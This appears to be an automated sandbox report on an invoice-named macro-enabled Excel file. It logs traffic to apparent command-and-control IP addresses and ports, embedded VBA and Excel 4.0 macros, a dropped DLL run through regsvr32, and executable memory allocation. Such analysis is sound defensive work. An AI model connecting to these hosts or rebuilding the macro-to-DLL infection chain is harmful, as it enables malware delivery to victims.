Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 80.86.91.27
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 5.100.228.233
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 46.105.131.65
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37
Source: unknown	TCP traffic detected without corresponding DNS query: 77.220.64.37

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\88DFF5C3.emf

Jump to behavior

Source: global traffic

Source: regsvr32.exe, 00000004.00000002.2374361228.00000000002A2000.00000004.00000020.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com6 equals www.linkedin.com (Linkedin)
Source: DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: regsvr32.exe, 00000004.00000002.2374361228.00000000002A2000.00000004.00000020.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226574069.0000000002A8B000.00000004.00000001.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: wexfashion.com

Source: 3C428B1A3E5F57D887EC4B864FAC5DCC.6.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt
Source: DWWIN.EXE, 00000006.00000002.2225536429.0000000000146000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000003.2225165540.000000000019A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000003.2225165540.000000000019A000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2225536429.0000000000146000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226574069.0000000002A8B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226464574.0000000002A20000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226574069.0000000002A8B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: DWWIN.EXE, 00000006.00000002.2225536429.0000000000146000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: DWWIN.EXE, 00000006.00000002.2225536429.0000000000146000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: 77EC63BDA74BD0D0E0426DC8F8008506.4.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: DWWIN.EXE, 00000006.00000002.2225536429.0000000000146000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab0T#
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabK&
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabco
Source: DWWIN.EXE, 00000006.00000002.2225516913.0000000000122000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enuy#
Source: DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: DWWIN.EXE, 00000006.00000002.2230133054.0000000003757000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: DWWIN.EXE, 00000006.00000002.2230133054.0000000003757000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226574069.0000000002A8B000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226486787.0000000002A31000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226574069.0000000002A8B000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226486787.0000000002A31000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000003.2225165540.000000000019A000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: DWWIN.EXE, 00000006.00000002.2225536429.0000000000146000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2225536429.0000000000146000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000003.2225165540.000000000019A000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000004.00000002.2376776287.00000000023B0000.00000002.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2230525771.0000000003D10000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.2374448037.0000000001D60000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2374547806.00000000008C0000.00000002.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226127205.0000000002410000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: DWWIN.EXE, 00000006.00000002.2230133054.0000000003757000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: DWWIN.EXE, 00000006.00000002.2230133054.0000000003757000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000004.00000002.2376776287.00000000023B0000.00000002.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2230525771.0000000003D10000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000003.2225165540.000000000019A000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000002.2226464574.0000000002A20000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: DWWIN.EXE, 00000006.00000002.2230133054.0000000003757000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp	String found in binary or memory: http://www.pub.
Source: DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: regsvr32.exe, 00000004.00000002.2374389957.00000000002E9000.00000004.00000020.sdmp	String found in binary or memory: https://46.105.131.65/
Source: regsvr32.exe, 00000004.00000002.2381243212.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://46.105.131.65:1512/
Source: regsvr32.exe, 00000004.00000002.2374389957.00000000002E9000.00000004.00000020.sdmp	String found in binary or memory: https://5.100.228.233/
Source: regsvr32.exe, 00000004.00000002.2381243212.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://5.100.228.233:3389/
Source: regsvr32.exe, 00000004.00000002.2374361228.00000000002A2000.00000004.00000020.sdmp	String found in binary or memory: https://77.220.64.37/2
Source: regsvr32.exe, 00000004.00000002.2374361228.00000000002A2000.00000004.00000020.sdmp	String found in binary or memory: https://77.220.64.37/5
Source: regsvr32.exe, 00000004.00000002.2374389957.00000000002E9000.00000004.00000020.sdmp	String found in binary or memory: https://80.86.91.27/
Source: regsvr32.exe, 00000004.00000002.2374389957.00000000002E9000.00000004.00000020.sdmp	String found in binary or memory: https://80.86.91.27/xw1
Source: regsvr32.exe, 00000004.00000002.2381243212.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://80.86.91.27:3308/
Source: regsvr32.exe, 00000004.00000002.2381243212.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://80.86.91.27:3308/H
Source: regsvr32.exe, 00000004.00000002.2381243212.00000000031D0000.00000004.00000001.sdmp	String found in binary or memory: https://80.86.91.27:3308/rt
Source: regsvr32.exe, 00000004.00000003.2104180455.00000000002E9000.00000004.00000001.sdmp, DWWIN.EXE, 00000006.00000003.2225165540.000000000019A000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49345
Source: unknown	Network traffic detected: HTTP traffic on port 49397 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49341
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 49207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49219
Source: unknown	Network traffic detected: HTTP traffic on port 49233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49337
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49211
Source: unknown	Network traffic detected: HTTP traffic on port 49297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49297
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49175
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49293
Source: unknown	Network traffic detected: HTTP traffic on port 49333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 49245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49329
Source: unknown	Network traffic detected: HTTP traffic on port 49385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49207
Source: unknown	Network traffic detected: HTTP traffic on port 49219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49289
Source: unknown	Network traffic detected: HTTP traffic on port 49187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49281
Source: unknown	Network traffic detected: HTTP traffic on port 49357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49397
Source: unknown	Network traffic detected: HTTP traffic on port 49289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49393
Source: unknown	Network traffic detected: HTTP traffic on port 49377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49309
Source: unknown	Network traffic detected: HTTP traffic on port 49253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49389
Source: unknown	Network traffic detected: HTTP traffic on port 49269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49385
Source: unknown	Network traffic detected: HTTP traffic on port 49261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49393 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49381
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49361 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49377
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49373
Source: unknown	Network traffic detected: HTTP traffic on port 49249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49381 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49245
Source: unknown	Network traffic detected: HTTP traffic on port 49305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49365
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49361
Source: unknown	Network traffic detected: HTTP traffic on port 49353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49237
Source: unknown	Network traffic detected: HTTP traffic on port 49325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49357
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49353
Source: unknown	Network traffic detected: HTTP traffic on port 49285 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 49317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49191
Source: unknown	Network traffic detected: HTTP traffic on port 49373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49229
Source: unknown	Network traffic detected: HTTP traffic on port 49215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49349

Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49211 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49219 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49257 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49257 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49261 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49265 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49273 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49277 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49281 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49285 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49289 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49293 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49301 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49305 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49317 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49321 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49325 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49333 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49337 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49341 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49349 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49353 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49357 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49361 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49365 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49369 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49373 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49377 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49381 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49385 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49389 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49393 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 77.220.64.37:443 -> 192.168.2.22:49397 version: TLS 1.2

Source: C:\Windows\System32\DWWIN.EXE

File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC

Jump to dropped file

System Summary:

Document contains an embedded VBA macro which may execute processes

Show sources

Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function pagesREviewsd, API Run("moreP_ab")			Name: pagesREviewsd
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function pagesREviewsd, API Run("moreP_ab")			Name: pagesREviewsd

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: INV8073565781-20210111319595.xlsm	Initial sample: CALL
Source: INV8073565781-20210111319595.xlsm	Initial sample: CALL
Source: INV8073565781-20210111319595.xlsm	Initial sample: CALL
Source: INV8073565781-20210111319595.xlsm	Initial sample: CALL

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\cjrumqtd.dll			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\k04qkvqu[1].zip			Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_001CB780 VirtualAlloc,VirtualAlloc,NtSetInformationProcess,		4_2_001CB780
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_001CBA14 NtSetInformationProcess,		4_2_001CBA14

Source: INV8073565781-20210111319595.xlsm	OLE, VBA macro line: Private Sub view_1_a_Layout(ByVal Index As Long)
Source: VBA code instrumentation	OLE, VBA macro: Module Sheet1, Function view_1_a_Layout			Name: view_1_a_Layout

Source: INV8073565781-20210111319595.xlsm

OLE indicator, VBA macros: true

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE 'C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE' -x -s 1016

Source: k04qkvqu[1].zip.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: k04qkvqu[1].zip.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
